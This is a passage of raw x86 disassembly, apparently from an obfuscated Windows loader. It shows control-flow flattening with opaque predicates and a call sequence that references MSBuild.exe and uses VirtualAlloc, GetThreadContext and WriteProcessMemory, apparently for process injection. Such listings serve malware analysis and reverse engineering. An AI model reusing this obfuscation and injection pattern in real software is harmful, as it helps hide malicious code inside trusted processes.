cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x3fe04a97
mov ecx, 0x47beeb0d
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x170], 0xa69d7bf1
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7543d2e
mov ecx, 0xf06d3bc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
add ecx, 0x81fc44c2
add ecx, 1
sub ecx, 0x81fc44c2
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov dword [ebp - 0x170], 0xee12eda6
jmp 0x100052ea
mov dword [ebp - 0x170], 0x41c9df27
jmp 0x100052ea
mov dword [ebp - 0x170], 0x6cd4ea0d
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcb37178
mov ecx, 0x402028fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dword [ebp - 0x170], 0xe580cc90
jmp 0x100052ea
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005890
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x110]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x160]
mov byte [eax], cl
mov eax, dword [ebp - 0x15c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x170], 0xb7420719
jmp 0x100052ea
mov dword [ebp - 0x170], 0x9c025b00
jmp 0x100052ea
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x170], 0xfbc620b3
jmp 0x100052ea
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x170], 0x22534d4e
jmp 0x100052ea
mov dword [ebp - 0x170], 0xa7a6a7ef
jmp 0x100052ea
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x170], 0x60781b20
jmp 0x100052ea
mov dword [ebp - 0x170], 0x63158785
jmp 0x100052ea
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x170], 0x4509810
jmp 0x100052ea
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x170], 0xdb188b15
jmp 0x100052ea
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x170], 0xf06d3bc6
jmp 0x100052ea
mov dword [ebp - 0x170], 0x402028fa
jmp 0x100052ea
mov dword [ebp - 0x170], 0x7344a32c
jmp 0x100025a0